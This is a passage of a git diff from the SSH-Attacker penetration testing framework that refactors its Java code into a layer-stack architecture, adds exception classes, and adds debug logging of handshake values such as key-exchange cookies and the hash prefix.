+ }
+
+ @Override
+ public byte[] decrypt(byte[] encryptedData, byte[] iv, byte[] additionalAuthenticatedData)
+ throws CryptoException, AEADBadTagException {
+ throw new UnsupportedOperationException("TribleDES does not support Authentication");
+ }
+
+ @Override
+ public EncryptionAlgorithm getAlgorithm() {
+ return EncryptionAlgorithm.TRIPLE_DES_CBC;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHash.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHash.java
index 96198ee66..f66910b8e 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHash.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHash.java
@@ -15,8 +15,8 @@
import de.rub.nds.sshattacker.core.exceptions.CryptoException;
import de.rub.nds.sshattacker.core.exceptions.MissingExchangeHashInputException;
import de.rub.nds.sshattacker.core.exceptions.NotImplementedException;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
import de.rub.nds.sshattacker.core.protocol.transport.serializer.KeyExchangeInitMessageSerializer;
-import de.rub.nds.sshattacker.core.state.SshContext;
import de.rub.nds.sshattacker.core.util.Converter;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
@@ -215,6 +215,7 @@ private static byte[] prepareCommonPrefixHashInput(ExchangeHashInputHolder input
PublicKeyHelper.encode(inputHolder.getServerHostKey().get())));
// Restore the old log level
Configurator.setLevel(KeyExchangeInitMessageSerializer.class.getName(), oldLevel);
+ LOGGER.debug("[bro - hash,prefix] {}", ArrayConverter.bytesToHexString(prefix));
return prefix;
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHashInputHolder.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHashInputHolder.java
index a35adb723..259698c82 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHashInputHolder.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/hash/ExchangeHashInputHolder.java
@@ -13,10 +13,14 @@
import de.rub.nds.sshattacker.core.protocol.transport.message.VersionExchangeMessage;
import java.math.BigInteger;
import java.util.Optional;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
/** A holder class to store all required values for exchange hash computation. */
public final class ExchangeHashInputHolder {
+ protected static final Logger LOGGER = LogManager.getLogger();
+
// region General exchange hash fields
private VersionExchangeMessage clientVersion;
private VersionExchangeMessage serverVersion;
@@ -79,6 +83,7 @@ public Optional getClientKeyExchangeInit() {
public void setClientKeyExchangeInit(KeyExchangeInitMessage clientKeyExchangeInit) {
this.clientKeyExchangeInit = clientKeyExchangeInit;
+ LOGGER.info("Client_Coookie in holder is: {}", this.clientKeyExchangeInit.getCookie());
}
public Optional getServerKeyExchangeInit() {
@@ -87,6 +92,7 @@ public Optional getServerKeyExchangeInit() {
public void setServerKeyExchangeInit(KeyExchangeInitMessage serverKeyExchangeInit) {
this.serverKeyExchangeInit = serverKeyExchangeInit;
+ LOGGER.info("Server_Coookie in holder is: {}", this.serverKeyExchangeInit.getCookie());
}
public Optional> getServerHostKey() {
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/AbstractEcdhKeyExchange.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/AbstractEcdhKeyExchange.java
index b209f6bf8..90ee3fe22 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/AbstractEcdhKeyExchange.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/AbstractEcdhKeyExchange.java
@@ -10,7 +10,7 @@
import de.rub.nds.sshattacker.core.constants.KeyExchangeAlgorithm;
import de.rub.nds.sshattacker.core.constants.KeyExchangeFlowType;
import de.rub.nds.sshattacker.core.constants.NamedEcGroup;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/DhKeyExchange.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/DhKeyExchange.java
index 248ceb2da..22a522a4e 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/DhKeyExchange.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/DhKeyExchange.java
@@ -16,7 +16,7 @@
import de.rub.nds.sshattacker.core.crypto.keys.CustomKeyPair;
import de.rub.nds.sshattacker.core.exceptions.CryptoException;
import de.rub.nds.sshattacker.core.exceptions.NotImplementedException;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.Comparator;
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/HybridKeyExchange.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/HybridKeyExchange.java
index 62f973f01..15ba0d605 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/HybridKeyExchange.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/HybridKeyExchange.java
@@ -11,7 +11,7 @@
import de.rub.nds.sshattacker.core.constants.HybridKeyExchangeCombiner;
import de.rub.nds.sshattacker.core.constants.KeyExchangeAlgorithm;
import de.rub.nds.sshattacker.core.constants.KeyExchangeFlowType;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
import java.lang.reflect.InvocationTargetException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/RsaKeyExchange.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/RsaKeyExchange.java
index 32d968df4..a61675ee8 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/RsaKeyExchange.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/RsaKeyExchange.java
@@ -22,7 +22,7 @@
import de.rub.nds.sshattacker.core.crypto.keys.SshPublicKey;
import de.rub.nds.sshattacker.core.exceptions.CryptoException;
import de.rub.nds.sshattacker.core.exceptions.NotImplementedException;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
import de.rub.nds.sshattacker.core.util.Converter;
import java.math.BigInteger;
import java.security.KeyPair;
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/XCurveEcdhKeyExchange.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/XCurveEcdhKeyExchange.java
index 9ede153b8..2c0de88b3 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/XCurveEcdhKeyExchange.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/crypto/kex/XCurveEcdhKeyExchange.java
@@ -97,6 +97,9 @@ public void computeSharedSecret() throws CryptoException {
throw new CryptoException(
"Unable to compute shared secret - either local key pair or remote public key is null");
}
+ LOGGER.debug(
+ "Remote Public: {}",
+ ArrayConverter.bytesToHexString(remotePublicKey.getCoordinate()));
byte[] sharedBytes;
if (group == NamedEcGroup.CURVE25519) {
sharedBytes = new byte[CryptoConstants.X25519_POINT_SIZE];
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/EndOfStreamException.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/EndOfStreamException.java
new file mode 100644
index 000000000..855c1e2e3
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/EndOfStreamException.java
@@ -0,0 +1,19 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.exceptions;
+
+import java.io.EOFException;
+
+public class EndOfStreamException extends EOFException {
+
+ public EndOfStreamException() {}
+
+ public EndOfStreamException(String message) {
+ super(message);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/SkipActionException.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/SkipActionException.java
index ab27985f8..0d55a944f 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/SkipActionException.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/SkipActionException.java
@@ -9,9 +9,7 @@
public class SkipActionException extends RuntimeException {
- public SkipActionException() {
- super();
- }
+ public SkipActionException() {}
public SkipActionException(String message) {
super(message);
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/TimeoutException.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/TimeoutException.java
new file mode 100644
index 000000000..0de2d143d
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/TimeoutException.java
@@ -0,0 +1,33 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.exceptions;
+
+public class TimeoutException extends RuntimeException {
+
+ public TimeoutException() {}
+
+ public TimeoutException(String message) {
+ super(message);
+ }
+
+ public TimeoutException(String message, Throwable cause) {
+ super(message, cause);
+ }
+
+ public TimeoutException(Throwable cause) {
+ super(cause);
+ }
+
+ public TimeoutException(
+ String message,
+ Throwable cause,
+ boolean enableSuppression,
+ boolean writableStackTrace) {
+ super(message, cause, enableSuppression, writableStackTrace);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/WorkflowExecutionException.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/WorkflowExecutionException.java
index 6ceadb1f7..9a1c5e07b 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/WorkflowExecutionException.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/exceptions/WorkflowExecutionException.java
@@ -22,7 +22,7 @@ public WorkflowExecutionException(String message, Throwable cause) {
super(message, cause);
}
- public WorkflowExecutionException(Throwable cause) {
- super(cause);
+ public WorkflowExecutionException(Throwable throwable) {
+ super(throwable);
}
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/DataContainerFilter.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/DataContainerFilter.java
new file mode 100644
index 000000000..b194fbc80
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/DataContainerFilter.java
@@ -0,0 +1,16 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.function.Predicate;
+
+public abstract class DataContainerFilter implements Predicate> {
+
+ public abstract boolean test(DataContainer, ?> container);
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/GenericReceiveLayerConfiguration.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/GenericReceiveLayerConfiguration.java
new file mode 100644
index 000000000..f1b87469a
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/GenericReceiveLayerConfiguration.java
@@ -0,0 +1,36 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.LinkedList;
+import java.util.List;
+
+/** A LayerConfiguration that keeps receiving until reaching the timeout */
+public class GenericReceiveLayerConfiguration extends ReceiveLayerConfiguration {
+
+ public GenericReceiveLayerConfiguration(LayerType layerType) {
+ super(layerType, new LinkedList<>());
+ }
+
+ @Override
+ public boolean isProcessTrailingContainers() {
+ return true;
+ }
+
+ @Override
+ public boolean executedAsPlanned(List list) {
+ return true;
+ }
+
+ @Override
+ public boolean failedEarly(List list) {
+ return false;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerConfiguration.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerConfiguration.java
new file mode 100644
index 000000000..f13604580
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerConfiguration.java
@@ -0,0 +1,65 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Contains a list of {@link DataContainer} with additional information about how to send and
+ * receive them and whether they were sent/received correctly.
+ *
+ * @param Container
+ */
+public abstract class LayerConfiguration {
+
+ private final List containerList;
+
+ private final LayerType layerType;
+
+ public LayerConfiguration(LayerType layerType, List containerList) {
+ this.containerList = containerList;
+ this.layerType = layerType;
+ }
+
+ public LayerConfiguration(LayerType layerType, Container... containers) {
+ this.containerList = Arrays.asList(containers);
+ this.layerType = layerType;
+ }
+
+ public List getContainerList() {
+ return containerList;
+ }
+
+ /**
+ * Determines if the LayerConfiguration, based on the final list of DataContainers, is satisfied
+ *
+ * @param list The list of DataContainers
+ * @return The final evaluation result
+ */
+ public abstract boolean executedAsPlanned(List list);
+
+ /**
+ * Determines if the LayerConfiguration, based on the current list of DataContainers, can
+ * possibly still be satisfied
+ *
+ * @param list The list of DataContainers
+ * @return The evaluation result based on the current DataContainers
+ */
+ public abstract boolean failedEarly(List list);
+
+ public boolean successRequiresMoreContainers(List list) {
+ return !failedEarly(list) && !executedAsPlanned(list);
+ }
+
+ public LayerType getLayerType() {
+ return layerType;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerProcessingResult.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerProcessingResult.java
new file mode 100644
index 000000000..98568a05f
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerProcessingResult.java
@@ -0,0 +1,83 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.List;
+
+/**
+ * Contains information about a layers actions, both after sending and receiving data.
+ *
+ * @param Template
+ */
+public class LayerProcessingResult {
+
+ /** List of containers that were sent or received */
+ private List usedContainers;
+
+ /** Type of layer that produced this result. */
+ private LayerType layerType;
+
+ /** Whether the layer could send or receive bytes as planned. */
+ private boolean executedAsPlanned;
+
+ // holds any bytes which are unread in the layer after parsing
+ private byte[] unreadBytes;
+
+ public LayerProcessingResult(
+ List usedContainers,
+ LayerType layerType,
+ boolean executedAsPlanned,
+ byte[] unreadBytes) {
+ this.usedContainers = usedContainers;
+ this.layerType = layerType;
+ this.executedAsPlanned = executedAsPlanned;
+ this.unreadBytes = unreadBytes;
+ }
+
+ public LayerProcessingResult(
+ List usedContainers, LayerType layerType, boolean executedAsPlanned) {
+ this.usedContainers = usedContainers;
+ this.layerType = layerType;
+ this.executedAsPlanned = executedAsPlanned;
+ this.unreadBytes = new byte[0];
+ }
+
+ public List getUsedContainers() {
+ return usedContainers;
+ }
+
+ public void setUsedContainers(List usedContainers) {
+ this.usedContainers = usedContainers;
+ }
+
+ public LayerType getLayerType() {
+ return layerType;
+ }
+
+ public boolean isExecutedAsPlanned() {
+ return executedAsPlanned;
+ }
+
+ public void setExecutedAsPlanned(boolean executedAsPlanned) {
+ this.executedAsPlanned = executedAsPlanned;
+ }
+
+ public void setLayerType(LayerType layerType) {
+ this.layerType = layerType;
+ }
+
+ public byte[] getUnreadBytes() {
+ return unreadBytes;
+ }
+
+ public void setUnreadBytes(byte[] unreadBytes) {
+ this.unreadBytes = unreadBytes;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStack.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStack.java
new file mode 100644
index 000000000..666c1e59b
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStack.java
@@ -0,0 +1,184 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import de.rub.nds.sshattacker.core.state.Context;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.stream.Collectors;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * Aggregates multiple layers into a protocol stack. Offers functionality for sending and receiving
+ * messages through the message stack. Can be created manually or using {@link LayerStackFactory}.
+ */
+public class LayerStack {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ /**
+ * The layer list, layer 0 is the highest layer, layer n is the lowest. Eg. For SSH layer 0
+ * could be the SSHv1 layer, layer 1 the ssh transport layer 2 and layer 3 the tcp transport
+ * layer, layer 4 could be the ip layer layer 5 could be the ethernet layer. Not all layers need
+ * to be defined at any time, it is perfectly fine to leave the layer stack and plug another
+ * component in which does the rest of the processing
+ */
+ private final List layerList;
+
+ private final Context context;
+
+ public LayerStack(Context context, ProtocolLayer... layers) {
+ this.context = context;
+ layerList = Arrays.asList(layers);
+ for (int i = 0; i < layers.length; i++) {
+ ProtocolLayer layer = layerList.get(i);
+ if (i != 0) {
+ layer.setHigherLayer(layerList.get(i - 1));
+ }
+ if (i != layers.length - 1) {
+ layer.setLowerLayer(layerList.get(i + 1));
+ }
+ }
+ }
+
+ public final ProtocolLayer getLayer(Class extends ProtocolLayer> layerClass) {
+ for (ProtocolLayer layer : getLayerList()) {
+ if (layer.getClass().equals(layerClass)) {
+ return layer;
+ }
+ }
+ return null;
+ }
+
+ public ProtocolLayer getHighestLayer() {
+ return getLayerList().get(0);
+ }
+
+ public ProtocolLayer getLowestLayer() {
+ return getLayerList().get(getLayerList().size() - 1);
+ }
+
+ /**
+ * Sends data over the protocol stack based on the layer configurations provided in
+ * layerConfigurationList.
+ *
+ * @param layerConfigurationList Contains {@link DataContainer} to be sent through the protocol
+ * stack.
+ * @return LayerStackProcessingResult Contains information about the "send" execution. Does not
+ * contain any messages the peer sends back.
+ * @throws IOException If any layer fails to send its data.
+ */
+ public LayerStackProcessingResult sendData(List layerConfigurationList)
+ throws IOException {
+ ;
+ if (getLayerList().size() != layerConfigurationList.size()) {
+ throw new RuntimeException(
+ "Illegal LayerConfiguration list provided. Each layer needs a configuration entry (null is fine too if no explicit configuration is desired). Expected "
+ + getLayerList().size()
+ + " but found "
+ + layerConfigurationList.size());
+ }
+
+ // Prepare layer configuration and clear previous executions
+ for (int i = 0; i < getLayerList().size(); i++) {
+ ProtocolLayer layer = getLayerList().get(i);
+ layer.clear();
+ layer.setLayerConfiguration(layerConfigurationList.get(i));
+ }
+ context.setTalkingConnectionEndType(context.getConnection().getLocalConnectionEndType());
+ // Send data
+ for (ProtocolLayer layer : getLayerList()) {
+ LOGGER.debug("Layer {} sending configuration", layer.getLayerType());
+ layer.sendConfiguration();
+ }
+
+ // Gather results
+ List resultList = new LinkedList<>();
+ getLayerList()
+ .forEach(
+ layer -> {
+ resultList.add(layer.getLayerResult());
+ });
+ return new LayerStackProcessingResult(resultList);
+ }
+
+ /**
+ * Receives messages pre-defined in the layerConfigurationList through the message stack.
+ * Timeouts if not all specified messages are received.
+ *
+ * @param layerConfigurationList Contains specific {@link DataContainer} to be received from the
+ * peer.
+ * @return LayerStackProcessingResult Contains information about the "send" execution. Does not
+ * contain any messages the peer sends back. If any layer fails to receive the specified
+ * data.
+ */
+ public LayerStackProcessingResult receiveData(List layerConfigurationList) {
+ if (getLayerList().size() != layerConfigurationList.size()) {
+ throw new RuntimeException(
+ "Illegal LayerConfiguration list provided. Each layer needs a configuration entry (null is fine too if no explicit configuration is desired). Expected "
+ + getLayerList().size()
+ + " but found "
+ + layerConfigurationList.size());
+ }
+ // Prepare layer configuration and clear previous executions
+ for (int i = 0; i < getLayerList().size(); i++) {
+ ProtocolLayer layer = getLayerList().get(i);
+ layer.clear();
+ layer.setLayerConfiguration(layerConfigurationList.get(i));
+ }
+ context.setTalkingConnectionEndType(
+ context.getConnection().getLocalConnectionEndType().getPeer());
+
+ getLayerList().get(0).receiveData();
+ // reverse order
+ for (int i = getLayerList().size() - 1; i >= 0; i--) {
+ ProtocolLayer layer = getLayerList().get(i);
+ if (layer.getLayerConfiguration() != null && !layer.executedAsPlanned()) {
+ try {
+ layer.receiveData();
+ } catch (UnsupportedOperationException e) {
+ // most layers dont know how to receive data themselves
+ LOGGER.debug(
+ "Skipping layer "
+ + layer.getLayerType()
+ + ". Does not support direct data read.");
+ }
+ }
+ }
+ return gatherResults();
+ }
+
+ /**
+ * Manually gathers information about each layer's execution. E.g., whether the layer executed
+ * successfully and the peer's answers.
+ *
+ * @return LayerStackProcessingResult Contains the execution results of each layer.
+ */
+ public LayerStackProcessingResult gatherResults() {
+ // Gather results
+ List resultList = new LinkedList<>();
+ getLayerList().forEach(tempLayer -> resultList.add(tempLayer.getLayerResult()));
+ return new LayerStackProcessingResult(resultList);
+ }
+
+ /** Returns the layers of this LayerStack by type. */
+ public List getLayersInStack() {
+ return layerList.stream().map(ProtocolLayer::getLayerType).collect(Collectors.toList());
+ }
+
+ /** Returns the layer list. */
+ public List getLayerList() {
+ return Collections.unmodifiableList(layerList);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStackFactory.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStackFactory.java
new file mode 100644
index 000000000..332be1945
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStackFactory.java
@@ -0,0 +1,50 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerConfiguration;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.context.TcpContext;
+import de.rub.nds.sshattacker.core.layer.impl.*;
+import de.rub.nds.sshattacker.core.state.Context;
+
+/**
+ * Creates a layerStack based on pre-defined configurations. E.g., to send SSHv2 messages with
+ * SSH-Attacker, we have to produce a layerStack that contains the SSHv2, TransportLayer, and
+ * TcpLayer. Each layer is assigned a different context.
+ */
+public final class LayerStackFactory {
+
+ public static LayerStack createLayerStack(LayerConfiguration type, Context context) {
+
+ LayerStack layerStack;
+ SshContext sshContext = context.getSshContext();
+ TcpContext tcpContext = context.getTcpContext();
+
+ switch (type) {
+ case SSHV1:
+ layerStack =
+ new LayerStack(
+ context,
+ new SSH1Layer(sshContext),
+ new PacketLayer(sshContext),
+ new TcpLayer(tcpContext));
+ return layerStack;
+ case SSHV2:
+ layerStack =
+ new LayerStack(
+ context,
+ new SSH2Layer(sshContext),
+ new PacketLayer(sshContext),
+ new TcpLayer(tcpContext));
+ return layerStack;
+ default:
+ throw new RuntimeException("Unknown LayerStackType: " + type.name());
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStackProcessingResult.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStackProcessingResult.java
new file mode 100644
index 000000000..73c4f6de1
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/LayerStackProcessingResult.java
@@ -0,0 +1,59 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * Wrapper class for {@link LayerProcessingResult}. Makes results of multiple layers available for a
+ * {@link LayerStack}.
+ */
+public class LayerStackProcessingResult {
+
+ private final List layerProcessingResultList;
+
+ // whether any layer has unreadBytes
+ private boolean hasUnreadBytes;
+
+ private final List layersWithUnreadBytes = new LinkedList<>();
+
+ public LayerStackProcessingResult(List layerProcessingResultList) {
+ this.layerProcessingResultList = layerProcessingResultList;
+ for (LayerProcessingResult layerProcessingResult : layerProcessingResultList) {
+ if (layerProcessingResult.getUnreadBytes().length != 0) {
+ layersWithUnreadBytes.add(layerProcessingResult.getLayerType());
+ hasUnreadBytes = true;
+ }
+ }
+ }
+
+ public List getLayerProcessingResultList() {
+ return layerProcessingResultList;
+ }
+
+ public LayerProcessingResult getResultForLayer(LayerType layerType) {
+ if (layerProcessingResultList != null) {
+ for (LayerProcessingResult layerResult : layerProcessingResultList) {
+ if (layerResult.getLayerType().equals(layerType)) {
+ return layerResult;
+ }
+ }
+ }
+ return null;
+ }
+
+ public boolean hasUnreadBytes() {
+ return hasUnreadBytes;
+ }
+
+ public List getLayersWithUnreadBytes() {
+ return layersWithUnreadBytes;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/Message.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/Message.java
new file mode 100644
index 000000000..40c1235d4
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/Message.java
@@ -0,0 +1,31 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.modifiablevariable.ModifiableVariableHolder;
+import de.rub.nds.sshattacker.core.layer.context.LayerContext;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import de.rub.nds.sshattacker.core.protocol.common.ProtocolMessage;
+import jakarta.xml.bind.annotation.XmlAccessType;
+import jakarta.xml.bind.annotation.XmlAccessorType;
+import jakarta.xml.bind.annotation.XmlSeeAlso;
+
+/**
+ * Abstract class for different messages the SSH-Attacker can send. This includes but is not limited
+ * to SSH-Messages.
+ *
+ * @param The message class itself
+ * @param The type of context this message needs to use, relates to the messages' layer.
+ */
+@XmlAccessorType(XmlAccessType.FIELD)
+@XmlSeeAlso({Message.class, ProtocolMessage.class})
+public abstract class Message, Context extends LayerContext>
+ extends ModifiableVariableHolder implements DataContainer {
+
+ public abstract String toShortString();
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/ProtocolLayer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/ProtocolLayer.java
new file mode 100644
index 000000000..e2e42d8ba
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/ProtocolLayer.java
@@ -0,0 +1,301 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.exceptions.EndOfStreamException;
+import de.rub.nds.sshattacker.core.exceptions.PreparationException;
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.context.LayerContext;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
